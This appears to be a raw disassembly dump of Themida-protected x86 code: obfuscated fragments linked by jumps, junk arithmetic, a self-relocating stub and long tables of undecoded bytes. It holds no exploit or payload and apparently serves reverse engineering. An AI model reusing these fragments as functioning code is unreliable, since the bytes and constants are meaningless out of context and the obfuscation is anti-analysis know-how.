loc_5504BB: ; CODE XREF: Themida_:005504C0j inc eax inc edi loc_5504BD: ; CODE XREF: Themida_:005504B9j cmp byte ptr [edi], 0 jnz short loc_5504BB xor ecx, ecx mov edi, [ebp+8] jmp short loc_5504EC ; --------------------------------------------------------------------------- loc_5504C9: ; CODE XREF: Themida_:005504EEj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_5504E1 ; --------------------------------------------------------------------------- loc_5504DE: ; CODE XREF: Themida_:005504E4j mul ebx dec esi loc_5504E1: ; CODE XREF: Themida_:005504DCj cmp esi, 0 ja short loc_5504DE pop ebx add ecx, eax pop eax inc edi dec eax loc_5504EC: ; CODE XREF: Themida_:005504C7j or eax, eax jnz short loc_5504C9 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- dw 6Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 885854C3h, 0F39ED65Eh, 0B589974Ah, 6142B55h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0E0C35545h, 256C08BFh dd 378F7A84h, 0DE904h, 0B0060000h, 0D980D4ACh, 8E0C88E6h dd 812D39E7h, 0B066FFDBh, 0E9C18B7Fh, 1ADh, 24748B60h dd 247C8B24h, 80B2FC28h, 8846068Ah, 2BB4707h, 2000000h dd 5850FD2h, 8A000000h, 0D2124616h, 0FFE2830Fh, 0D202FFFFh dd 5850Fh, 168A0000h, 0FD21246h, 6A83h, 2C03300h, 5850FD2h dd 8A000000h, 0D2124616h, 12A830Fh, 0D2020000h, 5850Fh dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h dd 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h dd 0D2124616h, 840FC013h, 6, 8AF82B57h, 7885F07h, 2BB47h dd 70E90000h, 0B8FFFFFFh, 1, 850FD202h, 5, 1246168Ah, 2C013D2h dd 5850FD2h, 8A000000h, 0D2124616h, 0FFDE820Fh, 0C32BFFFFh dd 1BBh, 34850F00h, 0B9000000h, 1, 850FD202h, 5, 1246168Ah dd 2C913D2h, 5850FD2h, 8A000000h, 0D2124616h, 0FFDE820Fh dd 8B56FFFFh, 0F3F52BF7h, 8E95EA4h, 48FFFFFFh, 8A08E0C1h dd 0E88B4606h, 1B9h, 0FD20200h, 585h, 46168A00h, 0C913D212h dd 850FD202h, 5, 1246168Ah, 0DE820FD2h, 3DFFFFFFh, 7D00h dd 22830Fh, 3D0000h, 0F000005h, 0E82h, 8B564100h, 0F3F02BF7h dd 0B4E95EA4h, 83FFFFFEh, 870F7FF8h, 3, 5602C183h, 0F02BF78Bh dd 0E95EA4F3h, 0FFFFFE9Bh, 3346068Ah, 1E8C0C9h, 17840Fh dd 0D1830000h, 56E88B02h, 0F02BF78Bh, 0BB5EA4F3h, 1, 0FFFE76E9h dd 247C2BFFh, 247C8928h, 8C2611Ch, 929BA00h, 35E90000h dd 3F000224h, 6F025B00h, 28005C6Fh, 6F025B00h, 0BE005C6Fh dd 5C54h, 6C000000h, 20012FFh, 2000002h, 1000000h, 3000000h dd 0DF000000h, 0FA408Bh, 4 dup(0) dd 10000000h, 4C005531h, 17005595h, 5500551Fh, 4000552Eh dd 1B005588h, 0B5005598h, 0E4005594h, 15005527h, 3100554Ah dd 3A005556h, 0C200559Ah, 4D0055AFh, 0D0005527h, 2F0055CDh dd 88005528h, 3A005512h, 10055A5h, 1A005511h, 5700556Bh dd 700556Bh, 520055C3h, 2300557Dh, 0D1005585h, 0E005582h dd 2F00557Dh, 0FE005581h, 0CA005567h, 0EF0055C8h, 0D8005524h dd 0A20055CEh, 5300550Eh, 0E4005573h, 130055C9h, 38005585h dd 3005583h, 560055B6h, 9500551Eh, 4900558Dh, 2D0055AFh dd 9A00559Ah, 0FE0055ACh, 1200558Dh, 0EC0055A2h, 1400552Fh dd 0BB005542h, 0DC005538h, 1A0055A1h, 96005583h, 0C1005522h dd 600055BFh, 540055CBh, 98005513h, 2000555Ah, 0E8005559h dd 0F2005510h, 0EC005597h, 88005597h, 0B000553Bh, 6200558Dh dd 800055A0h, 26005577h, 0FB005572h, 0A60055B4h, 3E005589h dd 1B005581h, 4F005527h, 5F00558Fh, 0EE00550Dh, 7200559Fh dd 8900552Ah, 0AF0055B5h, 1D00550Bh, 5B005547h, 99005597h dd 0EC005511h, 0A7005582h, 15005552h, 9F005563h, 8005551h dd 4D0055B9h, 490055CEh, 4C00551Ah, 28005585h, 0CB00558Eh dd 0F5005547h, 0D1005525h, 0BD00553Bh, 0C00055AEh, 1F005558h dd 49005545h, 7C005578h, 0E60055C7h, 22005532h, 0D100552Ah dd 0D30055CAh, 5B005567h, 0D005529h, 820055B5h, 9000557Dh dd 160055AFh, 860055C3h, 0ED005590h, 0B005583h, 88005532h dd 0AE00557Bh, 1F00550Eh, 1E0055CFh, 4300554Eh, 8B00559Bh dd 900553Ah, 3500556Dh, 37005510h, 6700556Bh, 600556Ch dd 0C5005554h, 0CD005559h, 900055A7h, 0FE005512h, 0F70055A2h dd 24005530h, 99005580h, 420055CEh, 9500553Dh, 9005574h dd 200055A4h, 380055AFh, 44005592h, 4B005510h, 0E20055CBh dd 0E4005554h, 9C005534h, 0AB00550Ah, 4B00557Ch, 94005515h dd 22005535h, 0FA005535h, 8F005553h, 9B005568h, 0E1005548h dd 92005559h, 0D7005595h, 380055BEh, 2900556Ah, 1E005576h dd 98005540h, 0DB00557Bh, 0B900557Dh, 180055AFh, 53005571h dd 0B2005584h, 0E0055C0h, 8A0055CEh, 82005562h, 7B005555h dd 7B005579h, 38005517h, 76005598h, 340055C9h, 54005595h dd 0AD0055CBh, 0F5005597h, 60005587h, 6700557Fh, 0D400558Eh dd 64005540h, 40005586h db 90h, 55h, 0 ; --------------------------------------------------------------------------- loc_5509FF: ; CODE XREF: Themida_:005A2A9Bj ; Themida_:005AECC4j ... pusha pushf cld call $+5 pop edi sub edi, 6147E28h mov eax, edi add edi, 6147B40h cmp eax, [edi+2Ch] jnz short loc_550A1D jmp short loc_550A30 ; --------------------------------------------------------------------------- loc_550A1D: ; CODE XREF: Themida_:00550A19j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_550A2C ; --------------------------------------------------------------------------- loc_550A27: ; CODE XREF: Themida_:00550A2Ej add [edi+ecx*4+40h], eax dec ecx loc_550A2C: ; CODE XREF: Themida_:00550A25j or ecx, ecx jnz short loc_550A27 loc_550A30: ; CODE XREF: Themida_:00550A1Bj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_550A3D: ; CODE XREF: Themida_:00550A44j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_550A3D loc_550A46: ; CODE XREF: Themida_:00550B0Ej ; Themida_:0055256Bj ... lodsb push bx mov bh, 60h sub al, bh jmp loc_559D10 ; --------------------------------------------------------------------------- loc_550A52: ; CODE XREF: Themida_:0055B2D2j pop eax jmp loc_556457 ; --------------------------------------------------------------------------- dd 80A5E680h, 1F68A9F6h, 89000028h, 6866240Ch, 89665E17h dd 0C6B22414h, 2D2DE9h, 5AD58800h, 60E9CDFEh, 87000079h dd 895C242Ch, 0A1E92434h, 5700001Ch, 2BFh, 0DFED8100h dd 0E9694A58h, 5F6Fh, 0A3E932FFh, 0FEFFFFFFh, 5BDE88CBh dd 0B134E9h db 0 ; --------------------------------------------------------------------------- loc_550AAD: ; CODE XREF: Themida_:00555205j inc ebx not ebx xor ebx, 0FFEDCB1Ch sub ecx, 2FDE1DAEh add ecx, ebx add ecx, 2FDE1DAEh pop ebx and eax, ecx pop ecx or eax, eax jz loc_5560D1 push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] push esi jmp loc_55B3BE ; --------------------------------------------------------------------------- aFSS db 'f[ИлS',0 align 2 dw 15Ch dd 18E959C8h db 67h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550AEF: ; CODE XREF: Themida_:0055AA9Bj add eax, ecx mov ecx, [esp] add esp, 4 xchg eax, [esp] mov esp, [esp] push ecx jmp loc_55514A ; --------------------------------------------------------------------------- loc_550B06: ; CODE XREF: Themida_:00558394j pop edx push dword ptr [esp] pop ebx add esp, 4 jmp loc_550A46 ; --------------------------------------------------------------------------- db 0B1h dd 53E980C9h, 0E9C0E9D0h, 35E98006h, 57E9CC88h db 0B0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550B27: ; CODE XREF: Themida_:005588FEj add ebx, 2E1568BEh inc ebx push edi jmp loc_5574ED ; --------------------------------------------------------------------------- aTsaz db 'TИ²╖',0 align 2 aRT db 'R╨t',0 dw 5F5Bh dd 0E907EAC1h, 9DF4h, 0BE565854h, 71527B80h, 6A6EC681h dd 0B95152D5h, 4F6A3F75h, 2351EE81h, 0CE290E32h, 4167E9h db 0 ; --------------------------------------------------------------------------- loc_550B69: ; CODE XREF: Themida_:00554D5Dj sub edx, 0DC05DFB8h xor eax, edx jmp loc_55C2D6 ; --------------------------------------------------------------------------- dw 0BF57h dd 0FFBFFF9Fh, 5EE9F901h db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_550B83: ; CODE XREF: Themida_:00551F47j pop ecx add esp, 4 push eax jmp loc_5594A7 ; --------------------------------------------------------------------------- loc_550B90: ; CODE XREF: Themida_:00555F41j add dword ptr [esp], 4 pop eax push esi mov esi, 4 add eax, esi pop esi add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_55C3B3 ; --------------------------------------------------------------------------- aMsS db '╛Иъ≥',0 dd 42E95C00h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550BBB: ; CODE XREF: Themida_:00553264j pop edx and ecx, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 push edi mov edi, esp jmp loc_5579F0 ; --------------------------------------------------------------------------- aZSe db '┤,$\с$$ИEЁ',0 align 2 dw 0C681h dd 7D375955h, 3305CE81h, 0EE815E70h, 8A465857h, 0AE46E9h dd 24148900h, 0C1C9E9h, 95BB5300h, 811F380Ah, 2414BDF3h dd 6EBC17Fh, 0CB81DBF7h, 48887296h, 5665E94Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_550C1A: ; CODE XREF: Themida_:00554BD3j shl ebp, 4 dec ebp push 30C5h mov [esp], eax jmp loc_55A119 ; --------------------------------------------------------------------------- aYfpJUfxsat db ' кYfP╢├(ЦfXИМt',0 dw 9100h dd 0F7FFC183h, 3E1C1D1h, 45EAE9h, 0E9586600h, 22A2h, 88241C89h dd 8BFA88C7h, 1FE9241Ch, 5000096h, 27931919h, 0BA52F001h dd 4D065FF9h, 28C2814Ah, 4A081104h, 4252C281h, 814A0EE9h dd 6D8D57EAh, 5AD0293Ch, 0FF2434FFh, 815E2434h, 4C4h, 5F545700h dd 2025E9h db 0 ; --------------------------------------------------------------------------- loc_550C99: ; CODE XREF: Themida_:00552ED9j xor ebx, 43465CF4h add edi, ebx pop ebx push eax mov eax, 739F340Dh jmp loc_55BC3E ; --------------------------------------------------------------------------- db 80h, 0EEh, 1Dh dd 80C3CE80h, 0F0005DF6h, 56F2E9h, 0C0D0F600h, 2E2407E8h dd 8E044C34h, 58C688h, 24148BF0h, 81E68956h, 4C6h, 4C68300h dd 0E9243487h, 0C0CEh, 0E904C483h, 2265h, 0E9242C8Bh, 8291h ; --------------------------------------------------------------------------- loc_550CF4: ; CODE XREF: Themida_:005583CAj pop dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_5529F8 ; --------------------------------------------------------------------------- loc_550D02: ; CODE XREF: Themida_:00555DB5j or eax, eax jz loc_553651 push dword ptr [edi+1Ch] mov ecx, [esp] jmp loc_55366A ; --------------------------------------------------------------------------- loc_550D15: ; CODE XREF: Themida_:00552061j mov ebx, ebp jmp loc_55897A ; --------------------------------------------------------------------------- loc_550D1C: ; CODE XREF: Themida_:00554D0Fj add esp, 4 push eax mov ah, 3Eh add ah, 89h and ah, 6Bh xor ah, 50h jmp loc_552B6C ; --------------------------------------------------------------------------- db 2Dh dd 4A5F0080h, 0DC0DEE05h, 78980522h, 65E97710h, 0D300004Fh dd 0E99C242Ch, 0FFFFFCF6h ; --------------------------------------------------------------------------- loc_550D50: ; CODE XREF: Themida_:005529A4j dec ecx push edi mov edi, 26F84E88h dec edi inc edi inc edi jmp loc_553C39 ; --------------------------------------------------------------------------- db 0ACh dd 5130B252h, 0E980CBB1h, 91ACE9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_550D6E: ; CODE XREF: Themida_:0055670Cj mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp or edx, eax shl edx, 1 push 4941h mov [esp], ebp push ebx mov ebx, 2E9B366Bh add ebx, 6A772E1Fh sub ebx, 7F0F632Ch dec ebx push ebp mov ebp, 3B8254C2h jmp loc_55AD65 ; --------------------------------------------------------------------------- dw 0B168h dd 89000023h, 74FF240Ch, 0E9590424h, 4A67h ; --------------------------------------------------------------------------- loc_550DBC: ; CODE XREF: Themida_:00554D27j push edx jmp loc_55301E ; --------------------------------------------------------------------------- dw 3C89h dd 81E78924h, 4C7h, 4C78100h, 0E9000000h, 4C56h, 0D4F6C4FEh dd 509EB652h, 4FE9F088h, 52000025h, 0A23591BAh, 0E4C2811Bh dd 29414A29h, 0BDD9E9D0h, 0B0680000h, 89000001h, 5E5D2434h dd 5474C281h, 0EA016CC0h, 5474EA81h, 875D6CC0h, 0A0E92414h dd 4E000006h, 5C40E9h db 0 ; --------------------------------------------------------------------------- loc_550E21: ; CODE XREF: Themida_:0055C1F1j and ecx, ebx pop ebx shr ecx, 7 jmp loc_55AA31 ; --------------------------------------------------------------------------- dd 0E904EC83h, 70BFh, 0E4C7815Bh, 16E8455h, 0E4EF81CFh dd 596E8455h, 3304C783h, 3C31243Ch, 2308E924h, 34890000h dd 30BF5724h, 0E90AEB23h, 58E7h ; --------------------------------------------------------------------------- loc_550E60: ; CODE XREF: Themida_:00550FEEj mov [esp], esi push edx mov edx, 10B625A8h sub edx, 1 dec edx xor edx, 481045F9h push ebp jmp loc_55842D ; --------------------------------------------------------------------------- db 5Ch, 0Fh, 0B7h dd 4EC81C8h, 89000000h, 5A542414h, 0F0468h, 242C8900h dd 4BDh, 0D9EA8100h, 13BDA4Dh, 1694E9EAh, 52AC0000h, 0F028CAB6h dd 836DE95Ah, 34FF0000h, 24048B24h, 4C481h, 0ED680000h dd 89000050h, 5B54241Ch, 4C381h, 51560000h, 2ED3E9h db 0 ; --------------------------------------------------------------------------- loc_550ED1: ; CODE XREF: Themida_:0055B0E0j push ecx mov ecx, 0DAB0EEF8h jmp loc_55CD39 ; --------------------------------------------------------------------------- dd 78168h, 241C8900h, 0A11030BBh, 25E94337h, 8100000Eh dd 4C7h, 535A6800h, 1C890000h, 18685124h, 0E9323D1Bh, 6AAh dd 2950BA52h, 0E2815B2Eh, 31235D1Ch, 8260E9h db 0 ; --------------------------------------------------------------------------- loc_550F19: ; CODE XREF: Themida_:00552966j add edx, 0ACDF7D9Ch add eax, edx pop edx add eax, edi mov dword ptr [eax], 0 pop eax loc_550F2B: ; CODE XREF: Themida_:00552F00j ; Themida_:005543E6j mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp], eax mov eax, 540B4433h push ecx mov ecx, 24B0114Fh and eax, ecx pop ecx jmp loc_55641C ; --------------------------------------------------------------------------- db 53h dd 0C27B18BBh, 1CFCE948h, 34310000h, 24343324h, 0E924248Bh dd 5AACh ; --------------------------------------------------------------------------- loc_550F6C: ; CODE XREF: Themida_:00556310j mov ebp, 216B4127h push esi mov esi, 4299369Ah mov ecx, esi jmp loc_558EAC ; --------------------------------------------------------------------------- loc_550F7E: ; CODE XREF: Themida_:00556241j mov edx, 2F661BE8h push ecx mov ecx, 67B66738h or edx, ecx pop ecx sub edx, 99D4555Bh sub ebp, edx pop edx mov edx, ebp pop ebp add dword ptr [esp+4], 563C6DCFh jmp loc_55CA93 ; --------------------------------------------------------------------------- aIts db '┴БИп',0Ah,0 align 4 loc_550FAC: ; CODE XREF: Themida_:00554473j push eax mov eax, 66BB2037h xchg eax, edx not edx xchg eax, edx dec eax add eax, 66BB203Dh jmp loc_55778F ; --------------------------------------------------------------------------- db 89h, 0CFh, 8Bh dd 0C481240Ch, 4, 3C8BF989h, 4C48324h, 7EC3E9h db 0 ; --------------------------------------------------------------------------- loc_550FD9: ; CODE XREF: Themida_:00555CEEj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 51C5h jmp loc_550E60 ; --------------------------------------------------------------------------- aBUuMsd db '│оuU',1Bh,'MИ╓\',0 align 2 dw 0C89h aFss_ db '$╠╫fSИ.=',0 align 2 dw 0C89h aH_@ db '$h.@',0 align 2 dw 489h dd 3DA6B824h, 71B9712Fh, 3125DC55h, 0E98158C1h, 54F368D5h dd 0B367E9h, 58C50100h, 0BB0FE9h, 1C77FF00h, 1858669Dh dd 0E99C2404h, 0FFFFFA02h, 24048B66h, 7FD6E9h, 240C8B00h dd 8478E9h db 0 ; --------------------------------------------------------------------------- loc_551055: ; CODE XREF: Themida_:005514DFj add ebp, 611C64D4h xor esi, ebp jmp loc_559D8C ; --------------------------------------------------------------------------- dw 815Fh dd 2054EF3h, 5330E910h, 89660000h, 0B551241Ch, 916EE9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55107A: ; CODE XREF: Themida_:0055C93Ej push 1AF6h mov [esp], edi push 4 push dword ptr [esp] pop edi push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add ebp, edi jmp loc_553010 ; --------------------------------------------------------------------------- aLQh_ db '▀$$Qh.:',0 align 2 dw 1489h aIIZs db '$┬б┬уZS╩',0 align 4 dd 6909EB81h, 0D3015564h, 577DE9h, 4C08300h, 5C240487h dd 0C380C300h, 17AAE944h, 0E9500000h, 172Ch, 0E9534AB1h dd 1862h, 5A5A68h, 24048900h, 0E92434FFh, 3161h, 50241C89h dd 99B5E9h, 0BF57AD00h, 3EC054Dh, 0C521EF81h, 0F801F315h dd 0E9D8295Fh, 4AFBh, 0E6E9F031h, 8000002Ah, 0C3808FE3h dd 5BDC2824h, 0E98AEC80h, 320Eh, 592434FFh, 441E68h, 241C8900h dd 0C468E389h, 8900000Ah, 0E3E92404h, 8300009Ch, 0C8B04C4h dd 4C48124h, 61000000h, 4093E99Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55115E: ; CODE XREF: Themida_:005545CFj push 816h mov [esp], ebx mov bh, 17h and bh, 0F0h add bh, 0D9h sub bh, 7Ah push edx mov dl, 0ADh jmp loc_551305 ; --------------------------------------------------------------------------- loc_551179: ; CODE XREF: Themida_:005566F6j shr ecx, 1 add ecx, 69192E6Bh shr ecx, 2 shr ecx, 8 not ecx jmp loc_55A35C ; --------------------------------------------------------------------------- dw 433h dd 24043124h, 0B3EEE9h, 2434FF00h, 0E0895058h, 0BB2E9h db 0 ; --------------------------------------------------------------------------- loc_5511A5: ; CODE XREF: Themida_:00559442j push ecx mov ch, 9 sub al, 0BEh sub al, ch push dx mov dh, 0BEh jmp loc_557AF9 ; --------------------------------------------------------------------------- db 68h, 30h, 7 dd 3C890000h, 5326BF24h, 0D7F7551Fh, 0F781DFF7h, 12982CF3h dd 815FFA21h, 58CF6BC2h, 5AD029BFh, 1393E9h db 0 ; --------------------------------------------------------------------------- loc_5511DD: ; CODE XREF: Themida_:005516B3j dec ebp not ebp add ebp, 76795788h add ebx, ebp mov ebp, [esp] add esp, 4 jmp loc_552998 ; --------------------------------------------------------------------------- loc_5511F6: ; CODE XREF: Themida_:005524B6j shr ecx, 4 push ebx jmp loc_5551F7 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFF842h ; --------------------------------------------------------------------------- loc_551204: ; CODE XREF: Themida_:0055C8C5j add esp, 4 mov dword ptr [edi+24h], 72C7434Fh sub esp, 4 mov [esp], ecx jmp loc_559CCC ; --------------------------------------------------------------------------- db 0F7h dd 0E9DAF7DAh, 9DA8h, 690D68h, 24148900h, 42474FFh, 24048F5Ah dd 124248Bh, 0E99C2404h, 5E13h ; --------------------------------------------------------------------------- loc_551244: ; CODE XREF: Themida_:0055CA20j mov edi, 5EA29E17h jmp loc_55324A ; --------------------------------------------------------------------------- loc_55124E: ; CODE XREF: Themida_:005549C3j mov [esp], ebp sub esp, 4 mov [esp], esi mov esi, 3435C8Dh mov ebp, 5B265CFh xor ebp, esi mov esi, [esp] add esp, 4 xor [esp+4], ebp pop ebp mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_557543 ; --------------------------------------------------------------------------- a_sdo db '_Иd▌',0 align 4 aPg@sE db '▐G@И╣┘',0 align 10h dd 8B2434FFh, 0C481240Ch, 4, 7D1EE9h, 24448A00h, 24548802h dd 148B6602h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edi mov edi, 40EE4000h shl edi, 3 jmp loc_557036 ; --------------------------------------------------------------------------- dd 24148966h, 535102B2h, 0FD8822B7h, 83241C8Bh, 4FE904C4h dd 5D000090h, 3185E9h, 585A6600h, 3C0AE9h, 240C8B00h, 8304C483h dd 148704C2h, 24248B24h, 9361E9h, 6E6C000h, 3333E9h db 0 ; --------------------------------------------------------------------------- loc_551305: ; CODE XREF: Themida_:00551174j add dl, 31h xor dl, 71h jmp loc_55202A ; --------------------------------------------------------------------------- dd 0C2C38058h, 66A6EB80h, 30B9B652h, 0A075E9F3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551322: ; CODE XREF: Themida_:00552249j sub ebp, 619576A8h shl ebp, 2 not ebp sub ebp, 8D9CD3DFh mov eax, ebp pop ebp dec eax jmp loc_558216 ; --------------------------------------------------------------------------- loc_55133C: ; CODE XREF: Themida_:0055CB07j mov ebx, 4F6B28D8h jmp loc_552FC6 ; --------------------------------------------------------------------------- dw 0E901h dd 2C1835Dh, 0E9240C33h, 38BBh, 555E5456h, 294385BDh, 0ACC58137h dd 81281D34h, 0B987D3C5h, 261E9A0h, 0E9560000h, 114Dh ; --------------------------------------------------------------------------- loc_551374: ; CODE XREF: Themida_:0055A795j xchg edi, [esp] pop edi sub esp, 4 jmp loc_55CB36 ; --------------------------------------------------------------------------- a1sM db '╡1И%╛',0 align 2 aFqF0S? db 'fQ╠f0лИ? ',0 dd 0FFE95200h, 870000B3h, 34E92404h, 68000069h, 34D6h dd 55241C89h, 2BDh, 0E9EB8900h, 3FA1h, 2B85058h, 81000000h dd 99510FC1h, 81C1295Eh, 99510FE9h, 3124E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5513D2: ; CODE XREF: Themida_:0055515Aj push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_556F60 ; --------------------------------------------------------------------------- dw 0E983h dd 0F6E95104h, 0B500009Dh, 95F0E94Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5513F2: ; CODE XREF: Themida_:0055B6CBj shr edx, 7 add edx, 27C74D17h and edx, 77BB7DC5h xor edx, 392C065Ah push ecx mov ecx, 49CD081Eh neg ecx and ecx, 2CA83119h add ecx, 18445E43h and ecx, 293F0B85h jmp loc_552D8D ; --------------------------------------------------------------------------- loc_551426: ; CODE XREF: Themida_:0055B3C0j add esi, 4 jmp loc_55B43B ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 1F5BE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55143A: ; CODE XREF: Themida_:00555894j add dword ptr [esp+4], 1B290341h pop esi sub esp, 4 mov [esp], eax mov eax, 32A428EFh sub [esp+4], eax pop eax jmp loc_55751C ; --------------------------------------------------------------------------- db 66h dd 0EC81C329h, 2, 24348966h, 523BE9h, 4B95100h, 0E9000000h dd 1D55h ; --------------------------------------------------------------------------- loc_551478: ; CODE XREF: Themida_:0055A4DBj push edx push ebp mov ebp, 0 mov edx, ebp jmp loc_554359 ; --------------------------------------------------------------------------- dw 1489h dd 4463BA24h, 0F2812F9Fh, 483F3FF9h, 5381C281h, 0EA811468h dd 1D6F54C4h, 69F6850h, 1C890000h, 7EA4BB24h, 0D889378Bh dd 52241C8Bh, 91E9E289h, 8B000018h, 0CB682424h, 8900007Eh dd 7BE92404h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5514CB: ; CODE XREF: Themida_:00552D18j pop cx jmp loc_5545CE ; --------------------------------------------------------------------------- loc_5514D2: ; CODE XREF: Themida_:00554454j xor ebp, 247C0B0Eh dec ebp and ebp, 56803F1Dh jmp loc_551055 ; --------------------------------------------------------------------------- dd 0E904EAC1h, 64E6h ; --------------------------------------------------------------------------- loc_5514EC: ; CODE XREF: Themida_:0055519Aj mov edi, [esp] jmp loc_551608 ; --------------------------------------------------------------------------- aZszj db 'ZИz╕',0 align 2 loc_5514FA: ; CODE XREF: Themida_:0055ABF8j xor edx, [esp] mov esp, [esp] or ebx, ebx jnz loc_552EFC push eax push ebp mov ebp, 654823CEh inc ebp neg ebp push eax mov eax, 654823EFh sub ebp, 7D503D14h jmp loc_552440 ; --------------------------------------------------------------------------- db 8Bh dd 0C892424h, 0E945B524h, 733Dh, 835BDA01h, 148704C2h dd 0F665C24h, 686600B6h, 89663476h, 0FBE92404h, 66FFFFF4h dd 8324048Bh, 148904ECh, 81E28924h, 4C2h, 4EC8300h, 3C69E9h dd 0F4DCE900h, 0F680FFFFh, 5AF028A8h, 5266D800h, 0F00024B6h dd 66535A66h, 17FDE951h, 0D8F70000h, 0E0FD5405h, 8BC23142h dd 77E92404h, 8100008Ch, 4C4h, 4C18300h, 0FFF809E9h db 0FFh ; --------------------------------------------------------------------------- loc_5515A1: ; CODE XREF: Themida_:005572E9j add esi, 3D1F1CF8h sub esi, 4ED6C1D8h jmp loc_555AA1 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48324h, 94A1E941h, 0E1C10000h, 68BD5507h, 0D16C3F14h dd 77E945E5h, 100006Eh, 0FD05E9EEh, 0C381FFFFh, 677FEE04h dd 3264E981h, 0D9015BEBh, 3264C181h, 0F1E95BEBh, 81000016h dd 4B9FC3h, 57C30160h, 7340BE56h, 0DF6879B5h, 0E9D9B5BEh dd 932Eh ; --------------------------------------------------------------------------- loc_551608: ; CODE XREF: Themida_:005514EFj add esp, 4 inc edx xor edx, 0E2C41616h jmp loc_55468C ; --------------------------------------------------------------------------- dw 0FABBh dd 0C12AF860h, 0F38108E3h, 0F860FA04h, 9611E9h, 4C68100h dd 0E9000000h, 902Bh ; --------------------------------------------------------------------------- loc_551638: ; CODE XREF: Themida_:005544F1j mov eax, [esp] push eax jmp loc_55AC7B ; --------------------------------------------------------------------------- loc_551641: ; CODE XREF: Themida_:005547B8j pop ebx jmp loc_5530A6 ; --------------------------------------------------------------------------- db 31h dd 1C33241Ch, 0E1F75C24h, 575D5455h, 0EC7D6EBFh, 0EFC14728h dd 0A6BCE906h, 0DFE90000h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551667: ; CODE XREF: Themida_:00555D14j pop esp push ebp mov ebp, esp push esi mov esi, 4 add ebp, esi pop esi jmp loc_554248 ; --------------------------------------------------------------------------- db 0BFh, 38h, 5Fh dd 0F7576794h, 0E95F2414h, 0C65h, 0FE88E9B7h, 0E9DEF65Bh dd 7B32h, 101CBA52h, 98E97EEDh, 0B700003Ah, 62CBE9A1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5516A6: ; CODE XREF: Themida_:00558EADj add ecx, 70850C20h jmp loc_5535E8 ; --------------------------------------------------------------------------- loc_5516B1: ; CODE XREF: Themida_:0055A512j neg ebp jmp loc_5511DD ; --------------------------------------------------------------------------- dd 0C8BC820h, 7A596824h, 4890000h, 5E08924h, 4, 7F1AE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5516D2: ; CODE XREF: Themida_:0055C203j mov [esp], ecx mov ecx, 53F233DFh add eax, ecx pop ecx sub eax, 4C5D7149h add eax, edi add eax, 4C5D7149h jmp loc_55739D ; --------------------------------------------------------------------------- aXvtQsyv db 'XVT^QИyv',0 align 4 dd 89BBB53h, 0EB810786h, 0BED5E0Bh, 9AE9DBF7h, 5D0000B0h dd 31A6E9h, 0E9E78900h, 2CDh, 4C681h, 0EE810000h, 4, 0E9243487h dd 283Ch, 74FF5659h, 348B0424h, 4C48124h, 8F000000h, 248B2404h dd 24048924h, 0FFF2FDE9h, 0CF015DFFh, 2C78359h, 2474FF57h dd 48F5F04h, 24248B24h, 4B30F66h, 0DFE99C24h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551767: ; CODE XREF: Themida_:005532B8j add esp, 4 and eax, ebx pop ebx shr eax, 0Eh xor eax, ecx push eax push edi pop eax pop edi jmp loc_55A37E ; --------------------------------------------------------------------------- db 66h dd 0E924248Bh, 0FFFFF2C2h, 241C8B5Ch, 5722E9h, 586600h dd 2434FFCBh, 0A76FE9h, 0C4815900h, 4, 687DEA81h, 0C20176D8h dd 687DC281h, 0BD5576D8h, 4E622216h, 0F9E9EA01h, 81000085h dd 4C3h, 5C486800h, 1C890000h, 2474FF24h, 48F5B04h, 24248B24h dd 9ABAE9h, 4C08300h, 2474FF50h, 9E95804h, 0BE00002Fh dd 3DCB1EE4h, 0B850D6F7h, 3DCB1EE9h, 0E958C601h, 971Dh dd 3248C681h, 0CE29316Ah, 3248EE81h, 0B850316Ah, 14113DFDh dd 0F8707E2Dh, 1FCE0D67h, 56899h, 485E330Ch, 2414F750h dd 596B0558h, 0C601B700h, 9DFAE9h, 50525A00h, 42474FFh dd 24048F58h, 487D0F7h, 0EC815A24h, 4, 0BF243C89h, 2A5D50D7h dd 0E94EF787h, 0AE75h, 